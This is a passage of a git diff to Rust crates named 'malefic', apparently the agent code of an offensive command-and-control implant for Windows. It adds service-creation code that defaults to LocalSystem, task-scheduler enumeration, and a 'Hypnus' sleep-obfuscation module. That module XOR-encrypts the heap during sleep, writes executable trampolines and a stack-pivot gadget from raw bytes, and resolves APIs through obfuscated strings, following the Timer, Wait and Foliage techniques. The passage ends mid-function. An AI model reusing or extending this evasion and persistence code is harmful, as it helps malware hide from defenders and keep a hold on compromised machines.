+337,7 @@ impl TaskSchedulerManager { let count = tasks_collection.Count()?; for i in 0..count { + // COM collections are 1-indexed let task: IRegisteredTask = tasks_collection.get_Item(&VARIANT::from(i + 1))?; if let Ok(schedule) = self.get_task(&task) { tasks.push(schedule); @@ -276,7 +347,7 @@ impl TaskSchedulerManager { Ok(tasks) } - // åˆ—å‡ºå½“å‰æ–‡ä»¶å¤¹çš„ç›´æŽ¥å­æ–‡ä»¶å¤¹ + // List direct subfolders of current folder fn list_sub_folders(&self, folder: &ITaskFolder) -> Result> { let mut sub_folders = Vec::new(); unsafe { @@ -284,6 +355,7 @@ impl TaskSchedulerManager { let folder_count = folders_collection.Count()?; for i in 0..folder_count { + // COM collections are 1-indexed let sub_folder = folders_collection.get_Item(&VARIANT::from(i + 1))?; sub_folders.push(sub_folder); } @@ -306,7 +378,7 @@ impl TaskSchedulerManager { Ok(all_sub_folders) } - // 修改 list_tasks 以返回 Vec + // Modify list_tasks to return Vec pub fn list_tasks(&self, start_folder_path: &str) -> Result> { let start_folder = unsafe { self.task_service @@ -315,20 +387,17 @@ impl TaskSchedulerManager { let mut all_schedules = self.list_tasks_in_folder(&start_folder)?; let sub_folders = self.list_recu_sub_folders(&start_folder)?; for folder in sub_folders { - debug!("Listing tasks in folder {:#?}", folder); + malefic_common::debug!("Listing tasks in folder {:#?}", folder); match self.list_tasks_in_folder(&folder) { - Ok(mut folder_tasks) => { - // debug!("Listed tasks in folder {:#?}", folder_tasks); - all_schedules.append(&mut folder_tasks) - } - Err(_e) => unsafe { - debug!( + Ok(mut folder_tasks) => all_schedules.append(&mut folder_tasks), + Err(_e) => { + malefic_common::debug!( "Failed to list tasks in folder {:?}{:?}: {:?}", - folder.Path(), - folder.Name(), + unsafe { folder.Path() }, + unsafe { folder.Name() }, _e ) - }, + } } } @@ -336,6 +405,15 @@ impl TaskSchedulerManager { } } +// NOTE: Do NOT implement Drop with CoUninitialize() for TaskSchedulerManager. +// Each module handler (TaskSchdList, TaskSchdCreate, etc.) creates a new +// TaskSchedulerManager per request via `TaskSchedulerManager::initialize()`. +// If Drop calls CoUninitialize(), it will tear down COM for the entire thread, +// causing subsequent initialize() calls in the same thread to fail. +// Since CoInitializeEx is idempotent (returns S_FALSE on repeated calls), +// but CoUninitialize is NOT, the safe approach is to let COM stay initialized +// for the thread's lifetime. +// // impl Drop for TaskSchedulerManager { // fn drop(&mut self) { // unsafe { diff --git a/malefic-crates/win/src/service/mod.rs b/malefic-crates/win/src/service/mod.rs new file mode 100644 index 0000000..2fd7a76 --- /dev/null +++ b/malefic-crates/win/src/service/mod.rs @@ -0,0 +1,520 @@ +use std::ffi::OsString; +use std::path::PathBuf; +use std::time::Duration; +use windows::Win32::System::Services::{ + CloseServiceHandle, ControlService, CreateServiceW, DeleteService, EnumServicesStatusExW, + OpenSCManagerW, OpenServiceW, QueryServiceConfigW, QueryServiceStatusEx, StartServiceW, + QUERY_SERVICE_CONFIGW, SC_ENUM_PROCESS_INFO, SC_HANDLE, SC_MANAGER_ALL_ACCESS, + SC_MANAGER_CONNECT, SC_MANAGER_ENUMERATE_SERVICE, SC_STATUS_PROCESS_INFO, SERVICE_ALL_ACCESS, + SERVICE_AUTO_START, SERVICE_BOOT_START, SERVICE_CONTINUE_PENDING, SERVICE_CONTROL_STOP, + SERVICE_DEMAND_START, SERVICE_DISABLED, SERVICE_ERROR, SERVICE_ERROR_CRITICAL, + SERVICE_ERROR_IGNORE, SERVICE_ERROR_NORMAL, SERVICE_ERROR_SEVERE, SERVICE_PAUSED, + SERVICE_PAUSE_PENDING, SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS, SERVICE_RUNNING, + SERVICE_START, SERVICE_START_PENDING, SERVICE_START_TYPE, SERVICE_STATE_ALL, SERVICE_STATUS, + SERVICE_STATUS_PROCESS, SERVICE_STOP, SERVICE_STOPPED, SERVICE_STOP_PENDING, + SERVICE_SYSTEM_START, SERVICE_WIN32_OWN_PROCESS, SERVICE_WIN32_SHARE_PROCESS, +}; + +use crate::common; +use std::mem::size_of; +use windows::core::{Result, HRESULT, PCWSTR}; +use windows::Win32::Foundation::ERROR_MORE_DATA; + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceType { + OwnProcess, + SharedProcess, + Driver, +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceStartType { + BootStart, + SystemStart, + AutoStart, + DemandStart, + Disabled, +} + +impl From<&ServiceStartType> for SERVICE_START_TYPE { + fn from(st: &ServiceStartType) -> Self { + match st { + ServiceStartType::BootStart => SERVICE_BOOT_START, + ServiceStartType::SystemStart => SERVICE_SYSTEM_START, + ServiceStartType::AutoStart => SERVICE_AUTO_START, + ServiceStartType::DemandStart => SERVICE_DEMAND_START, + ServiceStartType::Disabled => SERVICE_DISABLED, + } + } +} + +impl From for ServiceStartType { + fn from(val: SERVICE_START_TYPE) -> Self { + match val { + SERVICE_BOOT_START => ServiceStartType::BootStart, + SERVICE_SYSTEM_START => ServiceStartType::SystemStart, + SERVICE_AUTO_START => ServiceStartType::AutoStart, + SERVICE_DEMAND_START => ServiceStartType::DemandStart, + _ => ServiceStartType::Disabled, + } + } +} + +impl ServiceStartType { + pub fn to_win32(&self) -> SERVICE_START_TYPE { + self.into() + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceErrorControl { + Ignore, + Normal, + Severe, + Critical, +} + +impl From<&ServiceErrorControl> for SERVICE_ERROR { + fn from(ec: &ServiceErrorControl) -> Self { + match ec { + ServiceErrorControl::Ignore => SERVICE_ERROR_IGNORE, + ServiceErrorControl::Normal => SERVICE_ERROR_NORMAL, + ServiceErrorControl::Severe => SERVICE_ERROR_SEVERE, + ServiceErrorControl::Critical => SERVICE_ERROR_CRITICAL, + } + } +} + +impl From for ServiceErrorControl { + fn from(val: SERVICE_ERROR) -> Self { + match val { + SERVICE_ERROR_IGNORE => ServiceErrorControl::Ignore, + SERVICE_ERROR_NORMAL => ServiceErrorControl::Normal, + SERVICE_ERROR_SEVERE => ServiceErrorControl::Severe, + SERVICE_ERROR_CRITICAL => ServiceErrorControl::Critical, + _ => ServiceErrorControl::Normal, + } + } +} + +impl ServiceErrorControl { + pub fn to_win32(&self) -> SERVICE_ERROR { + self.into() + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceDependency { + Service(String), + Group(String), +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceState { + Stopped, + StartPending, + StopPending, + Running, + ContinuePending, + PausePending, + Paused, +} + +impl From for ServiceState { + fn from(val: u32) -> Self { + match windows::Win32::System::Services::SERVICE_STATUS_CURRENT_STATE(val) { + SERVICE_STOPPED => ServiceState::Stopped, + SERVICE_START_PENDING => ServiceState::StartPending, + SERVICE_STOP_PENDING => ServiceState::StopPending, + SERVICE_RUNNING => ServiceState::Running, + SERVICE_CONTINUE_PENDING => ServiceState::ContinuePending, + SERVICE_PAUSE_PENDING => ServiceState::PausePending, + SERVICE_PAUSED => ServiceState::Paused, + _ => ServiceState::Stopped, + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub enum ServiceExitCode { + Win32(u32), + ServiceSpecific(u32), +} + +#[derive(Debug, Clone)] +pub struct ServiceConfig { + pub name: String, + pub service_type: ServiceType, + pub start_type: ServiceStartType, + pub error_control: ServiceErrorControl, + pub executable_path: PathBuf, + pub tag_id: u32, + pub account_name: Option, + pub display_name: OsString, +} + +#[derive(Debug, Clone)] +pub struct ServiceStatus { + pub current_state: ServiceState, + pub process_id: Option, + pub exit_code: ServiceExitCode, + pub checkpoint: u32, + pub wait_hint: Duration, +} + +#[derive(Debug, Clone)] +pub struct Service { + pub config: ServiceConfig, + pub status: Option, +} + +pub struct ServiceManager { + scm_handle: SC_HANDLE, +} + +// Define TokenElevation as constant + +impl ServiceManager { + // Open service manager + pub fn open() -> Result { + #[cfg(feature = "token")] + let elevated = crate::token::is_privilege().unwrap_or(false); + #[cfg(not(feature = "token"))] + let elevated = false; + + unsafe { + let access = if elevated { + SC_MANAGER_ALL_ACCESS + } else { + SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE + }; + + let scm_handle = OpenSCManagerW(PCWSTR::null(), PCWSTR::null(), access)?; + Ok(ServiceManager { scm_handle }) + } + } + + // Close service manager + pub fn close(&mut self) { + if !self.scm_handle.is_invalid() { + let _ = unsafe { CloseServiceHandle(self.scm_handle) }; + self.scm_handle = SC_HANDLE::default(); + } + } + + pub fn create_service( + &self, + name: &str, + display_name: &str, + executable_path: &str, + start_type: ServiceStartType, + error_control: ServiceErrorControl, + account_name: Option<&str>, + ) -> Result { + let service_name_wide = common::to_wide_string(name); + let display_name_wide = common::to_wide_string(display_name); + let executable_path_wide = common::to_wide_string(executable_path); + + let account_name_wide = match account_name { + Some(account) => common::to_wide_string(account), + None => common::to_wide_string("LocalSystem"), // Default to LocalSystem account + }; + + unsafe { + let service_handle = CreateServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + PCWSTR(display_name_wide.as_ptr()), + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + start_type.to_win32(), + error_control.to_win32(), + PCWSTR(executable_path_wide.as_ptr()), + None, // Load order group + None, // Tag ID + None, // Dependencies + PCWSTR(account_name_wide.as_ptr()), // Service account name + None, // Password + )?; + + let _ = CloseServiceHandle(service_handle); + + // Return `ServiceConfig` + Ok(ServiceConfig { + name: name.to_string(), + service_type: ServiceType::OwnProcess, + start_type, + error_control, + executable_path: PathBuf::from(executable_path), + tag_id: 0, // Tag ID defaults to 0 here + account_name: Some(OsString::from(account_name.unwrap_or("LocalSystem"))), + display_name: OsString::from(display_name), + }) + } + } + + // Start service + pub fn start_service(&self, config: &ServiceConfig) -> Result<()> { + let service_name_wide = common::to_wide_string(&config.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_START, + )?; + + StartServiceW(service_handle, None)?; + let _ = CloseServiceHandle(service_handle); + + Ok(()) + } + } + + // Stop service + pub fn stop_service(&self, config: &ServiceConfig) -> Result<()> { + let service_name_wide = common::to_wide_string(&config.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_STOP, + )?; + + let mut status = SERVICE_STATUS::default(); + ControlService(service_handle, SERVICE_CONTROL_STOP, &mut status)?; + let _ = CloseServiceHandle(service_handle); + + Ok(()) + } + } + + // Delete service + pub fn delete_service(&self, config: &ServiceConfig) -> Result<()> { + let service_name_wide = common::to_wide_string(&config.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_ALL_ACCESS, + )?; + + DeleteService(service_handle)?; + let _ = CloseServiceHandle(service_handle); + } + Ok(()) + } + + pub fn query_service(&self, service_name: &str) -> Result { + let service_name_wide = common::to_wide_string(service_name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_QUERY_CONFIG, + )?; + + let mut config_size_needed = 0; + let result = QueryServiceConfigW(service_handle, None, 0, &mut config_size_needed); + if result.is_ok() || config_size_needed == 0 { + CloseServiceHandle(service_handle)?; + return Err(common::last_win32_error()); + } + + let mut config_buffer = vec![0u8; config_size_needed as usize]; + let service_config: *mut QUERY_SERVICE_CONFIGW = config_buffer.as_mut_ptr() as *mut _; + + if let Err(e) = QueryServiceConfigW( + service_handle, + Some(service_config), + config_size_needed, + &mut config_size_needed, + ) { + CloseServiceHandle(service_handle)?; + return Err(e); + } + + let executable_path = + common::wide_to_string(PCWSTR((*service_config).lpBinaryPathName.0)); + let account_name = if !(*service_config).lpServiceStartName.is_null() { + Some(OsString::from(common::wide_to_string(PCWSTR( + (*service_config).lpServiceStartName.0, + )))) + } else { + None + }; + + let display_name = if !(*service_config).lpDisplayName.is_null() { + OsString::from(common::wide_to_string(PCWSTR( + (*service_config).lpDisplayName.0, + ))) + } else { + OsString::from(service_name) + }; + + CloseServiceHandle(service_handle)?; + + Ok(ServiceConfig { + name: service_name.to_string(), + service_type: match (*service_config).dwServiceType { + SERVICE_WIN32_OWN_PROCESS => ServiceType::OwnProcess, + SERVICE_WIN32_SHARE_PROCESS => ServiceType::SharedProcess, + _ => ServiceType::Driver, + }, + start_type: ServiceStartType::from((*service_config).dwStartType), + error_control: ServiceErrorControl::from((*service_config).dwErrorControl), + executable_path: PathBuf::from(executable_path), + tag_id: (*service_config).dwTagId, + account_name, + display_name, + }) + } + } + + pub fn list_services(&self) -> Result> { + let mut services = Vec::new(); + let service_type_filter = SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS; + let more_data_code = HRESULT::from_win32(ERROR_MORE_DATA.0); + + unsafe { + let mut resume_handle: u32 = 0; + + loop { + let mut buffer_size_needed = 0; + let mut service_count = 0; + + // First call to get required buffer size + let result = EnumServicesStatusExW( + self.scm_handle, + SC_ENUM_PROCESS_INFO, + service_type_filter, + SERVICE_STATE_ALL, + None, + &mut buffer_size_needed, + &mut service_count, + Some(&mut resume_handle), + None, + ); + + match result { + Ok(()) => break, // No more services + Err(e) if e.code() == more_data_code => {} + Err(_) => break, + } + + // Allocate buffer + let mut buffer = vec![0u8; buffer_size_needed as usize]; + + // Second call to get service data + let result = EnumServicesStatusExW( + self.scm_handle, + SC_ENUM_PROCESS_INFO, + service_type_filter, + SERVICE_STATE_ALL, + Some(&mut buffer), + &mut buffer_size_needed, + &mut service_count, + Some(&mut resume_handle), + None, + ); + + let has_more = match result { + Ok(()) => false, + Err(e) if e.code() == more_data_code => true, + Err(e) => return Err(e), + }; + + // Iterate through services + let services_ptr = buffer.as_ptr() + as *const windows::Win32::System::Services::ENUM_SERVICE_STATUS_PROCESSW; + for i in 0..service_count { + let service_status = services_ptr.add(i as usize).read(); + let service_name = + common::wide_to_string(PCWSTR(service_status.lpServiceName.0)); + + if let Ok(service_config) = self.query_service(&service_name) { + services.push(service_config); + } + } + + if !has_more { + break; + } + } + } + + Ok(services) + } + + // Query service status and return `ServiceStatus` + pub fn query_service_status(&self, service: &ServiceConfig) -> Result { + let service_name_wide = common::to_wide_string(&service.name); + + unsafe { + let service_handle = OpenServiceW( + self.scm_handle, + PCWSTR(service_name_wide.as_ptr()), + SERVICE_QUERY_STATUS, + )?; + + let mut status = SERVICE_STATUS_PROCESS::default(); + let status_slice = std::slice::from_raw_parts_mut( + &mut status as *mut _ as *mut u8, + size_of::(), + ); + + QueryServiceStatusEx( + service_handle, + SC_STATUS_PROCESS_INFO, + Some(status_slice), + &mut (size_of::() as u32), + )?; + + let _ = CloseServiceHandle(service_handle); + + Ok(ServiceStatus { + current_state: ServiceState::from(status.dwCurrentState.0), + process_id: Some(status.dwProcessId), + exit_code: ServiceExitCode::Win32(status.dwWin32ExitCode), + checkpoint: status.dwCheckPoint, + wait_hint: Duration::from_millis(status.dwWaitHint as u64), + }) + } + } + + // `list_and_query` API, returns all services and their status at once + pub fn list_and_query(&self) -> Result> { + let service_configs = self.list_services()?; + let mut services = Vec::new(); + + for config in service_configs { + // Skip services whose status query fails instead of failing entirely + if let Ok(status) = self.query_service_status(&config) { + services.push(Service { + config, + status: Some(status), + }); + } else { + services.push(Service { + config, + status: None, + }); + } + } + + Ok(services) + } +} + +impl Drop for ServiceManager { + fn drop(&mut self) { + if !self.scm_handle.is_invalid() { + #[cfg(debug_assertions)] + malefic_common::debug!("WARNING: ServiceManager dropped without close()"); + let _ = unsafe { CloseServiceHandle(self.scm_handle) }; + } + } +} diff --git a/malefic-crates/win/src/sleep/allocator.rs b/malefic-crates/win/src/sleep/allocator.rs new file mode 100644 index 0000000..542c082 --- /dev/null +++ b/malefic-crates/win/src/sleep/allocator.rs @@ -0,0 +1,63 @@ +#![allow(non_snake_case)] + +use core::alloc::{GlobalAlloc, Layout}; +use core::ffi::c_void; +use core::ptr::{null_mut, NonNull}; + +use crate::sleep::types::HEAP_GROWABLE; +use crate::sleep::winapis::{RtlAllocateHeap, RtlCreateHeap, RtlFreeHeap}; + +/// Global handle to the private heap used by `HypnusHeap`. +static mut HEAP_HANDLE: Option> = None; + +/// A custom global allocator backed by a private Windows heap (RtlCreateHeap). +/// +/// When used as `#[global_allocator]`, all Rust allocations flow through +/// a dedicated heap. This allows `obfuscate_heap` to XOR-encrypt every +/// live allocation during sleep and reverse the process on wake. +pub struct HypnusHeap; + +impl HypnusHeap { + /// Creates a new private heap via RtlCreateHeap, stores the handle globally. + fn create_heap() -> *mut c_void { + let handle = RtlCreateHeap(HEAP_GROWABLE, null_mut(), 0, 0, null_mut(), null_mut()); + + if !handle.is_null() { + unsafe { HEAP_HANDLE = Some(NonNull::new_unchecked(handle)) }; + } + + handle + } + + /// Returns the handle to the private heap, creating it on first call. + pub fn get() -> *mut c_void { + unsafe { + HEAP_HANDLE + .map(|p| p.as_ptr()) + .unwrap_or_else(Self::create_heap) + } + } +} + +unsafe impl GlobalAlloc for HypnusHeap { + unsafe fn alloc(&self, layout: Layout) -> *mut u8 { + let heap = Self::get(); + let size = layout.size(); + if size == 0 { + return null_mut(); + } + RtlAllocateHeap(heap, 0, size) as *mut u8 + } + + unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { + if ptr.is_null() { + return; + } + // Zero memory before freeing (defense in depth) + core::ptr::write_bytes(ptr, 0, layout.size()); + RtlFreeHeap(Self::get(), 0, ptr.cast()); + } +} + +unsafe impl Sync for HypnusHeap {} +unsafe impl Send for HypnusHeap {} diff --git a/malefic-crates/win/src/sleep/config.rs b/malefic-crates/win/src/sleep/config.rs new file mode 100644 index 0000000..dbb12e9 --- /dev/null +++ b/malefic-crates/win/src/sleep/config.rs @@ -0,0 +1,258 @@ +#![allow(non_snake_case)] + +use core::ptr::null_mut; +use std::sync::OnceLock; + +use anyhow::{bail, Result}; +use malefic_gateway::obfstr::obfstr as s; + +use crate::kit::apis::{m_get_proc_address, m_load_library_a}; +use crate::sleep::types::*; +use crate::sleep::winapis::*; + +// ── Global configuration ───────────────────────────────────────────── + +static CONFIG: OnceLock> = OnceLock::new(); + +/// Lazily initializes and returns a singleton Config instance. +#[inline] +pub fn init_config() -> Result<&'static Config> { + let result = CONFIG.get_or_init(|| Config::new().map_err(|e| format!("{}", e))); + match result { + Ok(cfg) => Ok(cfg), + Err(e) => bail!("{}", e), + } +} + +// ── Config ─────────────────────────────────────────────────────────── + +#[derive(Default, Debug, Clone, Copy)] +pub struct Config { + pub callback: u64, + pub trampoline: u64, + pub gadget_rbp: u64, + pub modules: Modules, + pub wait_for_single: WinApi, + pub system_function040: WinApi, + pub system_function041: WinApi, + pub nt_continue: WinApi, + pub nt_set_event: WinApi, + pub nt_protect_virtual_memory: WinApi, + pub rtl_exit_user_thread: WinApi, + pub nt_wait_for_single: WinApi, + pub rtl_capture_context: WinApi, + pub nt_test_alert: WinApi, +} + +impl Config { + pub fn new() -> Result { + let modules = Self::modules(); + let mut cfg = Self::resolve_apis(modules); + cfg.callback = Self::alloc_callback()?; + cfg.trampoline = Self::alloc_trampoline()?; + cfg.gadget_rbp = Self::alloc_gadget_rbp()?; + Ok(cfg) + } + + /// Allocates executable memory used as a callback trampoline in thread pool callbacks. + /// The trampoline reads CONTEXT.Rax and jumps to it: + /// mov rcx, rdx ; 48 89 D1 + /// mov rax, [rcx+0x78] ; 48 8B 41 78 (CONTEXT.Rax offset = 0x78) + /// jmp rax ; FF E0 + pub fn alloc_callback() -> Result { + let callback: &[u8] = &[ + 0x48, 0x89, 0xD1, // mov rcx, rdx + 0x48, 0x8B, 0x41, 0x78, // mov rax, QWORD PTR [rcx+0x78] + 0xFF, 0xE0, // jmp rax + ]; + + let mut size = callback.len(); + let mut addr = null_mut(); + if !nt_success(NtAllocateVirtualMemory( + nt_current_process(), + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + bail!(s!("failed to allocate callback memory").to_string()); + } + + unsafe { + core::ptr::copy_nonoverlapping(callback.as_ptr(), addr as *mut u8, callback.len()); + } + + let mut old_protect = 0u32; + if !nt_success(NtProtectVirtualMemory( + nt_current_process(), + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect, + )) { + bail!(s!("failed to change callback memory protection").to_string()); + } + + NtLockVirtualMemory(nt_current_process(), &mut addr, &mut size, VM_LOCK_1); + Ok(addr as u64) + } + + /// Allocates trampoline memory for RtlCaptureContext execution. + /// Thread pool passes the parameter in RDX, not RCX. The trampoline + /// moves RDX to RCX and jumps to [RCX] (CONTEXT.P1Home = RtlCaptureContext). + /// mov rcx, rdx ; 48 89 D1 + /// xor rdx, rdx ; 48 31 D2 + /// jmp [rcx] ; FF 21 + pub fn alloc_trampoline() -> Result { + let trampoline: &[u8] = &[ + 0x48, 0x89, 0xD1, // mov rcx, rdx + 0x48, 0x31, 0xD2, // xor rdx, rdx + 0xFF, 0x21, // jmp QWORD PTR [rcx] + ]; + + let mut size = trampoline.len(); + let mut addr = null_mut(); + if !nt_success(NtAllocateVirtualMemory( + nt_current_process(), + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + bail!(s!("failed to allocate trampoline memory").to_string()); + } + + unsafe { + core::ptr::copy_nonoverlapping(trampoline.as_ptr(), addr as *mut u8, trampoline.len()); + } + + let mut old_protect = 0u32; + if !nt_success(NtProtectVirtualMemory( + nt_current_process(), + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect, + )) { + bail!(s!("failed to change trampoline memory protection").to_string()); + } + + NtLockVirtualMemory(nt_current_process(), &mut addr, &mut size, VM_LOCK_1); + Ok(addr as u64) + } + + /// Allocates executable memory for the `mov rsp, rbp; ret` gadget. + /// This gadget restores the stack pointer after each CONTEXT chain step, + /// allowing the thread to return cleanly to the threadpool dispatch loop. + /// mov rsp, rbp ; 48 89 EC + /// ret ; C3 + pub fn alloc_gadget_rbp() -> Result { + let gadget: &[u8] = &[ + 0x48, 0x89, 0xEC, // mov rsp, rbp + 0xC3, // ret + ]; + + let mut size = gadget.len(); + let mut addr = null_mut(); + if !nt_success(NtAllocateVirtualMemory( + nt_current_process(), + &mut addr, + 0, + &mut size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + bail!(s!("failed to allocate gadget_rbp memory").to_string()); + } + + unsafe { + core::ptr::copy_nonoverlapping(gadget.as_ptr(), addr as *mut u8, gadget.len()); + } + + let mut old_protect = 0u32; + if !nt_success(NtProtectVirtualMemory( + nt_current_process(), + &mut addr, + &mut size, + PAGE_EXECUTE_READ as u32, + &mut old_protect, + )) { + bail!(s!("failed to change gadget_rbp memory protection").to_string()); + } + + NtLockVirtualMemory(nt_current_process(), &mut addr, &mut size, VM_LOCK_1); + Ok(addr as u64) + } + + /// Resolves the base addresses of key Windows modules. + fn modules() -> Modules { + unsafe { + let ntdll = m_load_library_a(s!("ntdll.dll\0").as_ptr()); + let kernel32 = m_load_library_a(s!("kernel32.dll\0").as_ptr()); + let kernelbase = m_load_library_a(s!("kernelbase.dll\0").as_ptr()); + + // Try CryptBase.dll first, fall back to advapi32.dll + let mut cryptbase = m_load_library_a(s!("CryptBase.dll\0").as_ptr()); + if cryptbase.is_null() { + cryptbase = m_load_library_a(s!("advapi32.dll\0").as_ptr()); + } + + Modules { + ntdll: Dll::from(ntdll), + kernel32: Dll::from(kernel32), + cryptbase: Dll::from(cryptbase), + kernelbase: Dll::from(kernelbase), + } + } + } + + /// Resolves API function addresses from loaded modules. + fn resolve_apis(modules: Modules) -> Self { + let ntdll = modules.ntdll.as_ptr(); + let kernel32 = modules.kernel32.as_ptr(); + let cryptbase = modules.cryptbase.as_ptr(); + + unsafe { + Self { + modules, + wait_for_single: WinApi::from(m_get_proc_address( + kernel32, + s!("WaitForSingleObject\0").as_ptr(), + )), + system_function040: WinApi::from(m_get_proc_address( + cryptbase, + s!("SystemFunction040\0").as_ptr(), + )), + system_function041: WinApi::from(m_get_proc_address( + cryptbase, + s!("SystemFunction041\0").as_ptr(), + )), + nt_continue: WinApi::from(m_get_proc_address(ntdll, s!("NtContinue\0").as_ptr())), + nt_set_event: WinApi::from(m_get_proc_address(ntdll, s!("NtSetEvent\0").as_ptr())), + nt_protect_virtual_memory: WinApi::from(m_get_proc_address( + ntdll, + s!("NtProtectVirtualMemory\0").as_ptr(), + )), + rtl_exit_user_thread: WinApi::from(m_get_proc_address( + ntdll, + s!("RtlExitUserThread\0").as_ptr(), + )), + nt_wait_for_single: WinApi::from(m_get_proc_address( + ntdll, + s!("NtWaitForSingleObject\0").as_ptr(), + )), + rtl_capture_context: WinApi::from(m_get_proc_address( + ntdll, + s!("RtlCaptureContext\0").as_ptr(), + )), + nt_test_alert: WinApi::from(m_get_proc_address( + ntdll, + s!("NtTestAlert\0").as_ptr(), + )), + ..Default::default() + } + } + } +} diff --git a/malefic-crates/win/src/sleep/hypnus.rs b/malefic-crates/win/src/sleep/hypnus.rs new file mode 100644 index 0000000..4e9d9f0 --- /dev/null +++ b/malefic-crates/win/src/sleep/hypnus.rs @@ -0,0 +1,894 @@ +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + clippy::missing_transmute_annotations +)] + +use core::ffi::c_void; +use core::mem::zeroed; +use core::ptr::null_mut; + +use anyhow::{bail, Result}; +use malefic_gateway::obfstr::obfstr as s; + +use crate::sleep::config::{init_config, Config}; +use crate::sleep::types::*; +use crate::sleep::winapis::*; + +// ── Public types ───────────────────────────────────────────────────── + +/// Enumeration of supported memory obfuscation strategies. +pub enum Obfuscation { + /// Thread pool timer-based (`TpSetTimer`). + Timer, + /// Thread pool wait-based (`TpSetWait`). + Wait, + /// APC-based (`NtQueueApcThread`). + Foliage, +} + +/// Bit-flags for obfuscation modes. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[repr(transparent)] +pub struct ObfMode(pub u32); + +impl ObfMode { + pub const None: Self = ObfMode(0b0000); + pub const Heap: Self = ObfMode(0b0001); + pub const Rwx: Self = ObfMode(0b0010); + + pub fn contains(self, other: ObfMode) -> bool { + (self.0 & other.0) == other.0 + } +} + +impl core::ops::BitOr for ObfMode { + type Output = Self; + fn bitor(self, rhs: Self) -> Self::Output { + ObfMode(self.0 | rhs.0) + } +} + +// ── Macros ─────────────────────────────────────────────────────────── + +#[macro_export] +macro_rules! timer { + ($base:expr, $size:expr, $time:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Timer, + $crate::sleep::hypnus::ObfMode::None, + ) + }; + ($base:expr, $size:expr, $time:expr, $mode:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Timer, + $mode, + ) + }; +} + +#[macro_export] +macro_rules! wait { + ($base:expr, $size:expr, $time:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Wait, + $crate::sleep::hypnus::ObfMode::None, + ) + }; + ($base:expr, $size:expr, $time:expr, $mode:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Wait, + $mode, + ) + }; +} + +#[macro_export] +macro_rules! foliage { + ($base:expr, $size:expr, $time:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Foliage, + $crate::sleep::hypnus::ObfMode::None, + ) + }; + ($base:expr, $size:expr, $time:expr, $mode:expr) => { + $crate::sleep::hypnus::__private::hypnus_entry( + $base, + $size, + $time, + $crate::sleep::hypnus::Obfuscation::Foliage, + $mode, + ) + }; +} + +// ── Hypnus core ────────────────────────────────────────────────────── + +#[derive(Clone, Copy, Debug)] +struct Hypnus { + base: u64, + size: u64, + time: u64, + cfg: &'static Config, + mode: ObfMode, +} + +impl Hypnus { + #[inline] + fn new(base: u64, size: u64, time: u64, mode: ObfMode) -> Result { + Self::new_from_ms(base, size, time.saturating_mul(1000), mode) + } + + /// Create from millisecond-precision delay. + /// Internally `self.time` is stored in ms (matching the Windows timer API). + #[inline] + fn new_from_ms(base: u64, size: u64, time_ms: u64, mode: ObfMode) -> Result { + if base == 0 || size == 0 || time_ms == 0 { + bail!(s!("invalid arguments").to_string()) + } + + Ok(Self { + base, + size, + time: time_ms, + mode, + cfg: init_config()?, + }) + } + + /// Timer strategy: uses TpSetTimer to drive the 7-step CONTEXT chain. + fn timer(&mut self) -> Result<()> { + unsafe { + let heap = self.mode.contains(ObfMode::Heap); + let protection = if self.mode.contains(ObfMode::Rwx) { + PAGE_EXECUTE_READWRITE + } else { + PAGE_EXECUTE_READ + }; + + // Create 3 synchronization events + let mut events = [null_mut(); 3]; + for event in &mut events { + let status = NtCreateEvent( + event, + EVENT_ALL_ACCESS, + null_mut(), + EVENT_TYPE::NotificationEvent, + 0, + ); + if !nt_success(status) { + bail!(s!("NtCreateEvent Failed").to_string()); + } + } + + // Allocate thread pool with one worker + let mut pool = null_mut(); + let mut status = TpAllocPool(&mut pool, null_mut()); + if !nt_success(status) { + bail!(s!("TpAllocPool Failed").to_string()); + } + + let mut stack = TP_POOL_STACK_INFORMATION { + StackCommit: 0x80000, + StackReserve: 0x80000, + }; + status = TpSetPoolStackInformation(pool, &mut stack); + if !nt_success(status) { + bail!(s!("TpSetPoolStackInformation Failed").to_string()); + } + + TpSetPoolMinThreads(pool, 1); + TpSetPoolMaxThreads(pool, 1); + + let mut env = 